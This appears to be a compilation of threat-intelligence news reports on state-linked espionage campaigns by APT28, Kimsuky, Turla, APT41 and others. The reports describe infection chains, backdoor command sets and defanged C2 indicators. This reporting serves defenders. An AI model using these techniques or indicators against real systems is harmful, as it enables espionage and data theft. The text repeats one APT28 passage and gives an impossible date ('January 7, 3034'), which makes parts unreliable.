“ArcaneDoor is a campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Coveted by these actors, perimeter network devices are the perfect intrusion point for espionage-focused campaigns. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective.” reads the alert published by Cisco, which also includes Indicators of Compromise (IOCs). “Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications.”
The China-linked threat actors Muddling Meerkat are manipulating DNS to probe networks globally since 2019.
Infoblox researchers observed China-linked threat actors Muddling Meerkat using sophisticated DNS activities since 2019 to bypass traditional security measures and probe networks worldwide.
The experts noticed a spike in activity observed in September 2023.
The threat actors appear to have the capability to control China’s Great Firewall and were observed utilizing a novel technique involving fake DNS MX records.
Attackers used “super-aged” domains, usually registered before the year 2000, to avoid DNS blocklists and blending in with old malware at the same time
The attackers manipulate MX (Mail Exchange) records by injecting fake responses through China’s Great Firewall. However, the Infoblox researchers have yet to discover the motivation behind the attacks.
“The GFW can be described as an “operator on the side,” meaning that it does not alter DNS responses directly but injects its own answers, entering into a race condition with any response from the original intended destination. When the GFW response is received by the requester first, it can poison their DNS cache.” reads the analysis published by Infoblox. “The GFW creates a lot of noise and misleading data that can hinder investigations into anomalous behavior in DNS. I have personally gone hunting down numerous trails only to conclude: oh, it’s just the GFW.”
The experts noticed that a cluster of activities linked to a threat actor tracked as “ExploderBot” included most demonstrably damaging DNS DDoS attacks, ceased in May 2018. However, low-volume attacks resembling Slow Drip DDoS attacks have persisted since then. These attacks involve queries for random subdomains of target domains, propagated through open resolvers. Despite their lower volumes, these attacks share similar behavioral patterns to DNS DDoS attacks.
Muddling Meerkat’s operations also used MX record queries for random subdomains of target domains, rather than the base domain itself. This scenario is unusual as it typically occurs when a user intends to send email to a subdomain, which is not common in normal DNS activity. The researchers noticed that many of the target domains lack functional mail servers, making these queries even more mysterious.
“The data we have suggests that the operations are performed in independent “stages;” some include MX queries for target domains, and others include a broader set of queries for random subdomains. The DNS event data containing MX records from the GFW often occurs on separate dates from those where we see MX queries at open resolvers.” concludes the report. “Because the domain names are the same across the stages and the queries are consistent across domain names, both over a multi-year period, these stages surely must be related, but we did not draw a conclusion about how they are related or why the actor would use such staged approaches.”
The report also includes indicators of compromise (IoCs) recommendations to neutralize these activities..
NATO and the European Union formally condemned cyber espionage operations carried out by the Russia-linked APT28 against European countries.
NATO and the European Union condemned cyber espionage operations carried out by the Russia-linked threat actor APT28 (aka “Forest Blizzard”, “Fancybear” or “Strontium”) against European countries.
This week the German Federal Government condemned in the strongest possible terms the long-term espionage campaign conducted by the group APT28 that targeted the Executive Committee of the Social Democratic Party of Germany.
“The Federal Government’s national attribution procedure regarding this campaign has concluded that, for a relatively long period, the cyber actor APT28 used a critical vulnerability in Microsoft Outlook that remained unidentified at the time to compromise numerous email accounts.” reads the announcement published by the German Bundesregierung.
The nation-state actor exploited the zero-day flaw CVE-2023-23397 in attacks against European entities since April 2022. The Russia-linked APT also targeted NATO entities and Ukrainian government agencies.
The vulnerability is a Microsoft Outlook spoofing vulnerability that can lead to an authentication bypass.
In December 2023, Palo Alto Networks’ Unit 42 researchers reported that the group APT28 group exploited the CVE-2023-23397 vulnerability in attacks aimed at European NATO members.
The experts highlighted that over the previous 20 months, the APT group targeted at least 30 organizations within 14 nations that are probably of strategic intelligence significance to the Russian government and its military.
In March 2023, Microsoft published guidance for investigating attacks exploiting the patched Outlook vulnerability tracked as CVE-2023-23397.
In attacks spotted by Microsoft’s Threat Intelligence at the end of 2023, the nation-state actor primarily targeted government, energy, transportation, and non-governmental organizations in the US, Europe, and the Middle East.
According to Unit 42, APT28 started exploiting the above vulnerability in March 2022.
“During this time, Fighting Ursa conducted at least two campaigns with this vulnerability that have been made public. The first occurred between March-December 2022 and the second occurred in March 2023.” reads the report published by the company.
“Unit 42 researchers discovered a third, recently active campaign in which Fighting Ursa also used this vulnerability. The group conducted this most recent campaign between September-October 2023, targeting at least nine organizations in seven nations.”
The researchers pointed out that in the second and third campaigns, the nation-state actor continued to use a publicly known exploit for the Outlook flaw. This implies that the benefits of the access and intelligence produced by these operations were deemed more significant than the potential consequences of being discovered.
The list of targets is very long and includes:
Other than Ukraine, all of the targeted European nations are current members of the North Atlantic Treaty Organization (NATO)
critical infrastructure-related organizations within the following sectors:
Energy
Transportation
Telecommunications
Information technology
Military industrial base
Microsoft’s Threat Intelligence also warned of Russia-linked cyber-espionage group APT28 actively exploiting the CVE-2023-23397 Outlook flaw to hijack Microsoft Exchange accounts and steal sensitive information.
In October, the French National Agency for the Security of Information Systems ANSSI (Agence Nationale de la sécurité des systèmes d’information) warned that the Russia-linked APT28 group has been targeting multiple French organizations, including government entities, businesses, universities, and research institutes and think tanks.
The French agency noticed that the threat actors used different techniques to avoid detection, including the compromise of monitored low-risk equipment at the target networks’ edge. The Government experts pointed out that in some cases the group did not deploy any backdoor in the compromised systems.
ANSSI observed at least three attack techniques employed by APT28 in the attacks against French organizations:
searching for zero-day vulnerabilities [T1212, T1587.004];
compromise of routers and personal email accounts [T1584.005, T1586.002];
the use of open source tools and online services [T1588.002, T1583.006]. ANSSI investigations confirm that APT28 exploited the Outlook 0-day vulnerability CVE-2023-23397. According to other partners, over this period, the MOA also exploited other vulnerabilities, such as that affecting Microsoft Windows Support Diagnostic Tool (MSDT, CVE-2022-30190, also called Follina) as well as than those targeting the Roundcube application (CVE-2020-12641, CVE-2020-35730, CVE-2021-44026).
According to the recent announcement published by the German government, the APT28 campaign targeted government authorities, logistics companies, armaments, the air and space industry, IT services, foundations, and associations in Germany, other European countries, and Ukraine. This group was also responsible for the 2015 cyber attack on the German Bundestag. These actions violate international cyber norms and require particular attention, especially during election years in many countries.
The Czech Ministry of Foreign Affairs also condemned long-term cyber espionage activities by the group APT28. The Ministry’s statement also confirmed that Czech institutions have been targeted by the Russia-linked APT28 exploiting the Microsoft Outlook zero-day from 2023
“Based on information from intelligence services, some Czech institutions have also been the target of cyber attacks exploiting a previously unknown vulnerability in Microsoft Outlook from 2023. The mode of operation and the focus of these attacks matched the profile of the actor APT28.” reads the announcement. “Affected subjects were offered technical recommendations and cooperation to enhance security measures. The actor APT28 has also been the subject to active measures in Czechia as part of the global operation Dying Ember.”
“The European Union and its Member States, together with international partners, strongly condemn the malicious cyber campaign conducted by the Russia-controlled Advanced Persistent Threat Actor 28 (APT28) against Germany and Czechia.” states the Council of the European Union.
“Russia’s pattern of behavior blatantly disregards the Framework for Responsible State Behavior in Cyberspace, as affirmed by all United Nations Member States. The United States is committed to the security of our allies and partners and upholding the rules-based international order, including in cyberspace.” reads the statement published by the US government. “We call on Russia to stop this malicious activity and abide by its international commitments and obligations. With the EU and our NATO Allies, we will continue to take action to disrupt Russia’s cyber activities, protect our citizens and foreign partners, and hold malicious actors accountable.”
The group operates out of military unity 26165 of the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).
MITRE published more details on the recent security breach, including a timeline of the attack and attribution evidence.
MITRE has shared more details on the recent hack, including the new malware involved in the attack and a timeline of the attacker’s activities.
In April 2024, MITRE disclosed a security breach in one of its research and prototyping networks. The security team at the organization promptly launched an investigation, logged out the threat actor, and engaged third-party forensics Incident Response teams to conduct independent analysis in collaboration with internal experts.
According to the MITRE Corporation, a nation-state actor breached its systems in January 2024 by chaining two Ivanti Connect Secure zero-day vulnerabilities (CVE-2023-46805 and CVE-2024-21887).
MITRE spotted a foreign nation-state threat actor probing its Networked Experimentation, Research, and Virtualization Environment (NERVE), used for research and prototyping. The organization immediately started mitigation actions which included taking NERVE offline. The investigation is still ongoing to determine the extent of information involved.
The organization notified authorities and affected parties and is working to restore operational alternatives for collaboration.
Despite MITRE diligently following industry best practices, implementing vendor recommendations, and complying with government guidance to strengthen, update, and fortify its Ivanti system, they overlooked the lateral movement into their VMware infrastructure.
The organization said that the core enterprise network or partners’ systems were not affected by this incident.
Mitre researchers reported that the indicators of compromise that were observed during the security breach overlap with those Mandiant associated with UNC5221, which is a China-linked APT group.
The state-sponsored hackers first gained initial access to NERVE on December 31, then they deployed the ROOTROT web shell on Internet-facing Ivanti appliances.
On January 4, 2024, the threat actors conducted a reconnaissance on NERVE environment. They accessed vCenter through a compromised Ivanti appliance and communicated with multiple ESXi hosts. The attackers used hijacked credentials to log into several accounts via RDP and accessed user bookmarks and file shares to probe the network.
Then the nation-state actors manipulated VMs to compromise the overall infrastructure.
“The adversary manipulated VMs and established control over the infrastructure. The adversary used compromised administrative credentials, authenticated from an internal NERVE IP address, indicating lateral movement within the NERVE.” reads the update published by Mitre. “They attempted to enable SSH and attempted to destroy one of their own VMs as well as POSTed to /ui/list/export and downloaded a file demonstrating a sophisticated attempt to conceal their presence and maintain persistence within the network.”
On January 7, 3034, the adversary accessed VMs and deployed malicious payloads, including the BRICKSTORM backdoor and a web shell tracked as BEEFLUSH, enabling persistent access and arbitrary command execution.
The hackers relied on SSH manipulation and script execution to maintain control over the compromised systems. Mitre noted attackers exploiting a default VMware account to list drives and generate new VMs, one of which was removed on the same day. BRICKSTORM was discovered in directories with local persistence setups, communicating with designated C2 domains. BEEFLUSH interacted with internal IP addresses, executing dubious scripts and commands from the vCenter server’s /tmp directory
In the following days, the threat actors deployed additional payloads on the target infrastrcuture, including the WIREFIRE (aka GIFTEDVISITOR) web shell, and the BUSHWALK webshell for data exfiltration.
Between mid-February and mid-March, before MITRE discovered the security breach in April, threat actors maintained persistence in the NERVE environment and attempted lateral movement. The organization pointed out that the nation-state actors failed to compromise other resources.
“Despite unsuccessful attempts to pivot to other resources, the adversary persisted in accessing other virtual environments within Center.” concludes the update that includes malware analysis and Indicators of Compromise for the involved payloads. “The adversary executed a ping command for one of MITRE’s corporate domain controllers and attempted to move laterally into MITRE systems but was unsuccessful.”
CERT Polska warns of a large-scale malware campaign against Polish government institutions conducted by Russia-linked APT28.
CERT Polska and CSIRT MON teams issued a warning about a large-scale malware campaign targeting Polish government institutions, allegedly orchestrated by the Russia-linked APT28 group.
The attribution of the attacks to the Russian APT is based on similarities with TTPs employed by APT28 in attacks against Ukrainian entities.
“the CERT Polska (CSIRT NASK) and CSIRT MON teams observed a large-scale malware campaign targeting Polish government institutions.” reads the alert. “Based on technical indicators and similarity to attacks described in the past (e.g. on Ukrainian entities), the campaign can be associated with the APT28 activity set, which is associated with Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU).”
The threat actors sent emails designed to pique the recipient’s interest and encourage them to click on a link.
Upon clicking on the link, the victims are redirected to the domain run.mocky[.]io, which is a free service used by developers to create and test APIs. The domain, in turn, redirects to another legitimate site named webhook[.]site which allows logging all queries to the generated address and configuring responses.
Threat actors in the wild increasingly rely on popular services in the IT community to evade detection and speed up operations.
The attack chain includes the download of a ZIP archive file from webhook[.]site, which contains:
a Windows calculator with a changed name, e.g. IMG-238279780.jpg.exe, which pretends to be a photo and is used to trick the recipient into clicking on it,
script .bat (hidden file),
fake library WindowsCodecs.dll (hidden file).
If the victim runs the file fake image file, which is a harmless calculator, the DLL file is side-loaded to run the batch file.
The BAT script launches the Microsoft Edge browser and loads a base64-encoded page content to download another batch script from webhook.site. Meanwhile, the browser shows photos of a woman in a swimsuit with links to her genuine social media accounts, aiming to appear credible and lower the recipient’s guard. The downloaded file, initially saved as .jpg, is converted to .cmd and executed.
Finally, the code retrieves the final-stage script that gathers information about the compromised host and sends it back.
“This script constitutes the main loop of the program. In the loop for /l %n in () it first waits for 5 minutes, and then, similarly as before, downloads another script using the Microsoft Edge browser and the reference to webhook.site and executes it. This time, the file with the extension .css is downloaded, then its extension is changed to .cmd and launched.” continues the report. “The script we finally received collects only information about the computer (IP address and list of files in selected folders) on which they were launched, and then send them to the C2 server. Probably computers of the victims selected by the attackers receive a different set of the endpoint scripts.”
The CERT Polska team recommends network administrators to review recent connections to domains like webhook.site and run.mocky.io, as well as their appearance in received emails. These sites are commonly used by programmers, and traffic to them may not indicate infection. If your organization does not utilize these services, it’s suggested to consider blocking these domains on edge devices.
Regardless of whether your organization uses these websites, it’s also advised to filter emails for links to webhook.site and run.mocky.io, as legitimate use of these links in email content is very rare.
The Federal Government condemned in the strongest possible terms the long-term espionage campaign conducted by the group APT28 that targeted the Executive Committee of the Social Democratic Party of Germany.
“The Federal Government’s national attribution procedure regarding this campaign has concluded that, for a relatively long period, the cyber actor APT28 used a critical vulnerability in Microsoft Outlook that remained unidentified at the time to compromise numerous email accounts.” reads the announcement published by the German Bundesregierung.
The nation-state actor exploited the zero-day flaw CVE-2023-23397 in attacks against European entities since April 2022. The Russia-linked APT also targeted NATO entities and Ukrainian government agencies.
The Czech Ministry of Foreign Affairs also condemned long-term cyber espionage activities by the group APT28. The Ministry’s statement also confirmed that Czech institutions have been targeted by the Russia-linked APT28 exploiting the Microsoft Outlook zero-day from 2023.
The group operates out of military unity 26165 of the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).
North Korea-linked Kimsuky APT group employs rogue Facebook accounts to target victims via Messenger and deliver malware.
Researchers at Genians Security Center (GSC) identified a new attack strategy by the North Korea-linked Kimsuky APT group and collaborated with the Korea Internet & Security Agency (KISA) for analysis and response. The nation-state actor attack used a fake account posing as a South Korean public official in the North Korean human rights sector. The APT group aimed at connecting with key individuals in North Korean and security-related fields through friend requests and direct messages.
The attack chain starts with the theft of the identity of a real person in South Korea, then the victims were contacted via Facebook Messenger.
Threat actors pretended to share private documents they had written with the victims.
“The initial individual approach is similar to an email-based spear phishing attack strategy. However, the fact that mutual communication and reliability were promoted through Facebook Messenger shows that the boldness of Kimsuky APT attacks is increasing day by day.” reads the report published by GSC. “The Facebook screen used in the actual attack has a background photo that appears to have been taken at a public institution. Threat actors disguised as public officials try to win the favor of their targets by pretending to share private documents they have written.”
The messages included a link to a decoy document hosted on OneDrive. The file is a Microsoft Common Console document that masquerades as an essay or content related to a trilateral summit between Japan, South Korea, and the U.S. One of the decoy documents (‘NZZ_Interview_Kohei Yamamoto.msc’) employed in the attacks was uploaded to the VirusTotal from Japan on April 5, 2024.
The malware had zero detection rate on VT at the upload time.
The experts speculate the APT group was targeting people in Japan and South Korea.
“This is the first time that a suspected attack against Japan was first observed, and then a variant was detected in Korea shortly after.” reads the analysis. “And if you compare the two malicious file execution screens, you can see the same pattern. Although the file name leading to execution is different, both used the name ‘Security Mode’.”
Upon launching the MSC file and allowing it to open it using Microsoft Management Console (MMC), victims are displayed a console screen containing a Word document. If the victims launch it the multi-stage attack chain starts.
The malicious file, named “Console Root task window ‘Security Mode’,” hid certain window styles and tabs. It misled users by labeling a task as “Open” with a description “My_Essay.docx,” making it appear as a document execution screen. Clicking “Open” triggers a malicious command. This command line involves ‘cmd.exe’ with various parameters and attempts to connect to the C2 host ‘brandwizer.co[.]in,’ registered by Whiteserver hosting in India and linked to the IP address ‘5.9.123.217’ in Germany.
The malware maintains persistence by registering a scheduled task named ‘OneDriveUpdate,’ which repeats every 41 minutes indefinitely. This interval is consistent with the timing used in previous Kimsuky group campaigns, such as ‘BabyShark‘ and ‘ReconShark.’
The malware gathered information and exfiltrated it to the C2 server, it can also harvest IP addresses, User-Agent strings, and timestamp information from the HTTP requests. The malware can also drop additional payloads on the infected machines.
“Among the APT attacks reported in Korea in the first quarter of this year, the most representative method is spear phishing attack. In addition, the method of combining shortcut (LNK) type malicious files is steadily becoming popular. Although not commonly reported, covert attacks through social media also occur.” concludes the report.
Russia-linked Turla APT allegedly used two new backdoors, named Lunar malware and LunarMail, to target European government agencies.
ESET researchers discovered two previously unknown backdoors named LunarWeb and LunarMail that were exploited to breach European ministry of foreign affairs.
The two backdoors are designed to carry out a long-term compromise in the target network, data exfiltration, and maintaining control over compromised systems.
The two backdoors compromised a European ministry of foreign affairs (MFA) and its diplomatic missions abroad. The experts speculate the Lunar toolset has been employed since at least 2020. ESET attributes the two backdoors to Russia-linked APT group Turla, with medium confidence.
The Turla APT group (aka Snake, Uroburos, Waterbug, Venomous Bear and KRYPTON) has been active since at least 2004 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.
The exact method of initial access in the compromises observed by ESET is still unclear. However, evidence suggests possible spear-phishing and exploitation of misconfigured Zabbix network and application monitoring software. The researchers noticed a LunarWeb component mimicking Zabbix logs and a backdoor command retrieving Zabbix agent configuration. The experts also spotted spear-phishing messages, including a weaponized Word document installing a LunarMail backdoor.
“LunarWeb, deployed on servers, uses HTTP(S) for its C&C communications and mimics legitimate requests, while LunarMail, deployed on workstations, is persisted as an Outlook add-in and uses email messages for its C&C communications.” reads the report published by ESET.
LunarWeb uses multiple persistence methods, including creating Group Policy extensions, replacing System DLL, and deploying as part of legitimate software.
ESET reported that the execution chain starts with a loader they tracked as LunarLoader. It uses the RC4 symmetric key cipher to decrypt the payloads.
Once the Lunar backdoor has compromised a system, it waits for commands from the C2 server. The cyberspies also used stolen credentials for lateral movement.
LunarWeb can also execute shell and PowerShell commands, gather system information, run Lua code, and exfiltrate data in AES-256 encrypted form.
“Our current investigation began with the detection of a loader decrypting and running a payload, from an external file, on an unidentified server. This led us to the discovery of a previously unknown backdoor, which we named LunarWeb. Subsequently, we detected a similar chain with LunarWeb deployed at a diplomatic institution of a European MFA. Notably, the attacker also included a second backdoor – which we named LunarMail – that uses a different method for command and control (C&C) communications.” continues the report. “During another attack, we observed simultaneous deployments of a chain with LunarWeb at three diplomatic institutions of this MFA in the Middle East, occurring within minutes of each other. The attacker probably had prior access to the domain controller of the MFA and utilized it for lateral movement to machines of related institutions in the same network.”
LunarMail is deployed on workstations with Microsoft Outlook, using an email-based communication system (Outlook Messaging API (MAPI)) to evade detection in environments where HTTPS traffic is monitored. The backdoor communicates with the C2 server via email attachments, often hidden in .PNG images. LunarMail can create processes, take screenshots, write files, and execute Lua scripts, allowing it to run shell and PowerShell commands indirectly.
“We observed varying degrees of sophistication in the compromises; for example, the careful installation on the compromised server to avoid scanning by security software contrasted with coding errors and different coding styles (which are not the scope of this blogpost) in the backdoors. This suggests multiple individuals were likely involved in the development and operation of these tools.” concludes the report. “Although the described compromises are more recent, our findings show that these backdoors evaded detection for a more extended period and have been in use since at least 2020, based on artifacts found in the Lunar toolset.”
Symantec warns of a new Linux backdoor used by the North Korea-linked Kimsuky APT in a recent campaign against organizations in South Korea.
Symantec researchers observed the North Korea-linked group Kimsuky using a new Linux backdoor dubbed Gomir. The malware is a version of the GoBear backdoor which was delivered in a recent campaign by Kimsuky via Trojanized software installation packages.
Kimsuky cyberespionage group (aka Springtail, ARCHIPELAGO, Black Banshee, Thallium, Velvet Chollima, APT43) was first spotted by Kaspersky researcher in 2013. The APT group mainly targets think tanks and organizations in South Korea, other victims were in the United States, Europe, and Russia.
In 2023 the state-sponsored group focused on nuclear agendas between China and North Korea, relevant to the ongoing war between Russia and Ukraine.
Gomir and GoBear share a great portion of their code.
Researchers from South Korean security firm S2W first uncovered the compaign in February 2024, the threat actors were observed delivering a new malware family named Troll Stealer using Trojanized software installation packages. Troll Stealer supports multiple stealing capabilities, it allows operators to gather files, screenshots, browser data, and system information. The malicious code is written in Go, and researchers noticed that Troll Stealer contained a large amount of code overlap with earlier Kimsuky malware.
Troll Stealer can also copy the GPKI (Government Public Key Infrastructure) folder on infected computers. GPKI is the public key infrastructure schema for South Korean government personnel and state organizations, suggesting that government agencies were among the targeted by state-sponsored hackers.
The malware was distributed inside the installation packages for TrustPKI and NX_PRNMAN, software developed by SGA Solutions. Victims downloaded the packages from a page that was redirected from a specific website.
Symantec also discovered that Troll Stealer was also delivered in Trojanized Installation packages for Wizvera VeraPort.
The WIZVERA VeraPort integration installation program is used to manage additional security software (e.g., browser plug-ins, security software, identity verification software, etc.) that is requested to visit particular government and banking domains. WIZVERA VeraPort is used to digitally sign and verify downloads.
“Troll Stealer appears to be related to another recently discovered Go-based backdoor named GoBear. Both threats are signed with a legitimate certificate issued to “D2innovation Co.,LTD”. GoBear also contains similar function names to an older Springtail backdoor known as BetaSeed, which was written in C++, suggesting that both threats have a common origin.” reads the report published by Symantec.
When executed, the malware checks the group ID value to determine if it is running as group 0 (group is associated with the superuser or administrative privileges) on the Linux machine, and then copies itself to /var/log/syslogd to maintain persistence persistence.
It creates a systemd service named ‘syslogd’ and starts it, then deletes the original executable and terminates the initial process. The backdoor also attempts to configure a crontab command to run on system reboot by creating a helper file (‘cron.txt’) in the current directory. If the crontab list is successfully updated, the malware deletes the helper file without any command-line parameters before executing it.
The Gomir backdoor periodically communicates with its C2 via HTTP POST requests to http://216.189.159[.]34/mir/index.php
The malicious code pools the commands to execute, and the researchers observed it supporting multiple commands. including:
Operation
Description
01
Pauses communication with the C&C server for an arbitrary time duration.
02
Executes an arbitrary string as a shell command (“[shell]” “-c” “[arbitrary_string]”). The shell used is specified by the environment variable “SHELL”, if present. Otherwise, a fallback shell is configured by operation 10 below.
03
Reports the current working directory.
04
Changes the current working directory and reports the working directory’s new pathname.
05
Probes arbitrary network endpoints for TCP connectivity.
06
Terminates its own process. This stops the backdoor.
07
Reports the executable pathname of its own process (the backdoor executable).
08
Collects statistics about an arbitrary directory tree and reports: total number of subdirectories, total number of files, total size of files
09
Reports the configuration details of the affected computer: hostname, username, CPU, RAM, network interfaces, listing each interface name, MAC, IP, and IPv6 address
10
Configures a fallback shell to use when executing the shell command in operation 02. Initial configuration value is “/bin/sh”.
11
Configures a codepage to use when interpreting output from the shell command in operation 02.
12
Pauses communication with the C&C server until an arbitrary datetime.
13
Responds with the message “Not implemented on Linux!” (hardcoded).
14
Starts a reverse proxy by connecting to an arbitrary control endpoint. The communication with the control endpoint is encrypted using the SSL protocol and uses messages consistent with https://github.com/kost/revsocks.git, where the backdoor acts as a proxy client. This allows the remote attacker to initiate connections to arbitrary endpoints on the victim network.
15
Reports the control endpoints of the reverse proxy.
30
Creates an arbitrary file on the affected computer.
31
Exfiltrates an arbitrary file from the affected computer.
Gomir and GoBear Windows backdoor supports almost the same commands.
The latest Kimsuky campaign highlights that North Korean espionage actors increasingly favor software installation packages and updates as infection vectors. The experts noticed a shift to software supply chain attacks through trojanized software installers and fake software installers. A prominent example is the 3CX supply chain attack, stemming from the earlier X_Trader attack.
“This latest Springtail campaign provides further evidence that software installation packages and updates are now among the most favored infection vectors for North Korean espionage actors.” concludes the report. “Springtail, meanwhile, has focused on Trojanized software installers hosted on third-party sites requiring their installation or masquerading as official apps. The software targeted appears to have been carefully chosen to maximize the chances of infecting its intended South Korean-based targets.”
The report also provides indicators of compromise for artifacts employed in the latest campaign, including the Troll Stealer, Gomir, and the GoBear dropper.
A previously unknown China-linked threat actor dubbed ‘Unfading Sea Haze’ has been targeting military and government entities since 2018.
Bitdefender researchers discovered a previously unknown China-linked threat actor dubbed ‘Unfading Sea Haze’ that has been targeting military and government entities since 2018. The threat group focuses on entities in countries in the South China Sea, experts noticed TTP overlap with operations attributed to APT41.
Bitdefender identified a troubling trend, attackers repeatedly regained access to compromised systems, highlighting vulnerabilities such as poor credential hygiene and inadequate patching practices.
Unfading Sea Haze remained undetected for over five years, despite extensive artifact cross-referencing and public report analysis, no traces of their prior activities were found.
Unfading Sea Haze’s targets confirms an alignment with Chinese interests. The group utilized various variants of the Gh0st RAT, commonly associated with Chinese actors.
A notable technique involved running JScript code through SharpJSHandler, similar to a feature in the “funnyswitch” backdoor linked to APT41. Both methods involve loading .NET assemblies and executing JScript code, suggesting shared coding practices among Chinese threat actors.
However, these findings indicate a sophisticated threat actor possibly connected to the Chinese cyber landscape.
The researchers cannot determine the initial method used by Unfading Sea Haze to infiltrate victim systems because the initial breach happened over six years ago, making hard to recover forensic evidence.
However, the researchers determined that one of methods used by the threat actors to regaining access to the target organizations are spear-phishing emails. The messages use specially crafted archives containing LNK files disguised as regular documents. When clicked, the LNK files would execute malicious commands. The experts observed multiple spear-phishing attempts between March and May 2023.
Some of the email attachment names used in the attacks are:
SUMMARIZE SPECIAL ORDERS FOR PROMOTIONS CY2023
Data
Doc
Startechup_fINAL
The payload employed in the attacks is a backdoor named SerialPktdoor, however, in March 2024, the researchers observed the threat actors using a new initial access archive files. These archives mimicked the installation process of Microsoft Defender or exploited current US political issues.
The backdoor runs PowerShell scripts and performs operations on files and directories.
“These LNK files execute a PowerShell command line” reads the report. “This is a clever example of a fileless attack that exploits a legitimate tool: MSBuild.exe. MSBuild, short for Microsoft Build Engine, is a powerful tool for automating the software build process on Windows. MSBuild reads a project file, which specifies the location of all source code components, the order of assembly, and any necessary build tools.”
The threat actors maintain persistence through scheduled tasks, in order to avoid detection attackers used task names impersonating legitimate Windows files. The files are combined with DLL sideloading to execute a malicious payload.
Attackers also manipulate local Administrator accounts to maintain persistence, they were spotted enabling the disabled local Administrator account, followed by resetting its password.
Unfading Sea Haze has notably begun using Remote Monitoring and Management (RMM) tools, particularly ITarian RMM, since at least September 2022 to compromise targets’ networks. This approach represents a significant shift from typical nation-state tactics. Additionally, experts collected evidence that they may have established persistence on web servers, such as Windows IIS and Apache httpd, likely using web shells or malicious modules. However, the exact persistence mechanisms remain unclear due to insufficient forensic data.
The Chinese threat actor has developed a sophisticated collection of custom malware and hacking tools. Since at least 2018, they used SilentGh0st, TranslucentGh0st, and three variants of the .NET agent SharpJSHandler supported by Ps2dllLoader. In 2023, they replaced Ps2dllLoader with a new mechanism using msbuild.exe and C# payloads from a remote SMB share. The attackers also replaced fully featured Gh0stRat variants to more modular, plugin-based versions called FluffyGh0st, InsidiousGh0st (available in C++, C#, and Go), and EtherealGh0st.
“One of the payloads delivered by Ps2dllLoader is SharpJSHandler.” reads the report. “SharpJSHandler operates by listening for HTTP requests. Upon receiving a request, it executes the encoded JavaScript code using the Microsoft.JScript library.
Our investigation also uncovered two additional variations that utilize cloud storage services for communication instead of direct HTTP requests. We have found variations for DropBox and for OneDrive. In this case, SharpJSHandler retrieves the payload periodically from a DropBox/OneDrive account, executes it, and uploads the resulting output back to the same location.
These cloud-based communication methods present a potential challenge for detection as they avoid traditional web shell communication channels.”
The threat actors used both custom malware and off-the-shelf tools to gather sensitive data from victim machines.
One of the malware used for data collection is a keylogger called xkeylog, they also used a web browser data stealer, a tool to monitor the presence of portable devices, and a custom tool named DustyExfilTool.
The attackers are also able to target messaging applications like Telegram and Viber. They first terminate the processes for these apps (telegram.exe and viber.exe), then use rar.exe to archive the application data.
“The Unfading Sea Haze threat actor group has demonstrated a sophisticated approach to cyberattacks. Their custom malware arsenal, including the Gh0st RAT family and Ps2dllLoader, showcases a focus on flexibility and evasion techniques.” concludes the report. “The observed shift towards modularity, dynamic elements, and in-memory execution highlights their efforts to bypass traditional security measures. Attackers are constantly adapting their tactics, necessitating a layered security approach.”
Tinexta Cyber’s Zlab Malware Team uncovered a backdoor known as KeyPlug employed in attacks against several Italian industries
During an extensive investigation, Tinexta Cyber’s Zlab Malware Team uncovered a backdoor known as KeyPlug, which hit for months a variety of Italian industries. This backdoor is attributed to the arsenal of APT41,a group whose origin is tied to China.
APT41, known also as Amoeba, BARIUM, BRONZE ATLAS, BRONZE EXPORT, Blackfly, Brass Typhoon, Earth Baku, G0044, G0096, Grayfly, HOODOO, LEAD, Red Kelpie, TA415, WICKED PANDA e WICKED SPIDER originated from China (with possible ties to the government), it’s known for its complex campaigns and variety of targeted sectors, their motivation varies from exfiltration of sensible data to financial gain.
The backdoor has been developed to target both Windows and Linux operative systems and using different protocols to communicate which depend on the configuration of the malware sample itself.
Tinexta Cyber’s team has analyzed both variants for Windows and Linux, showing common elements that makes the threat capable of remaining resilient inside attacked systems, nonetheless, implants of perimetral defense were present, such as Firewalls, NIDS and EDR employed on every endpoint.
The first malware sample is an implant attacking the Microsoft Windows operating systems. The infection doesn’t directly start from the implant itself but from another component working as a loader written in the .NET framework. This loader is designed to decrypt another file simulating an icon type file. The decryption is through AES, a well-known symmetric encryption algorithm, with keys stored directly in the sample itself.
Once all decryption operations are completed, the new payload, with SHA256 hash 399bf858d435e26b1487fe5554ff10d85191d81c7ac004d4d9e268c9e042f7bf, can be analyzed. Delving deeper into that malware sample, it is possible to detect a direct correspondence with malware structure with Mandiant’s report “Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments”. In this specific case, the XOR key is 0x59.
The Linux version of the Keyplug malware, however, is slightly more complex and appears to use VMProtect. During static analysis, many strings related to the UPX packer were detected, but the automatic decompression routine did not work. This variant is designed to decode the payload code during execution, and once this is complete, it relaunches using the syscall fork. This method interrupts the analyst’s control flow, making malware analysis more difficult.
Pivoting cyber intelligence information in the cybersecurity community, a potential link has emerged between the APT41 group and the Chinese company I-Soon. On Feb. 16, a large amount of sensitive data from China’s Ministry of Public Security was exposed and then spread on GitHub and Twitter, generating great excitement in the cybersecurity community.
In addition, Hector is a possible RAT (Remote Administration Tool) if not KeyPlug itself, among the arsenal of APT41 uncovered through the I-SOON leak, according to which it can be employed on both Windows and Linux, and uses the WSS protocol. WSS (WebSocket Secure) is a network protocol used to establish a secure WebSocket connection between a client and a server. It is the encrypted version of the WS (WebSocket) protocol and relies on TLS (Transport Layer Security) to provide security, similar to how HTTPS is the secure version of HTTP. However, this type of protocol is not widely adopted by attackers for malware threats, making, therefore, the attribution narrow toward this type of threat.
A connection between the APT41 group and the ISOON data leak incident can be hypothesized. The advanced techniques used and the wide range of sectors targeted coincide with APT41’s typical modus operandi, suggesting a possible connection to this cyber espionage campaign. Deepening the investigation of the ISOON data leak, especially about the tools and methodologies employed, could offer further insight into the involvement of APT41 or similar groups.
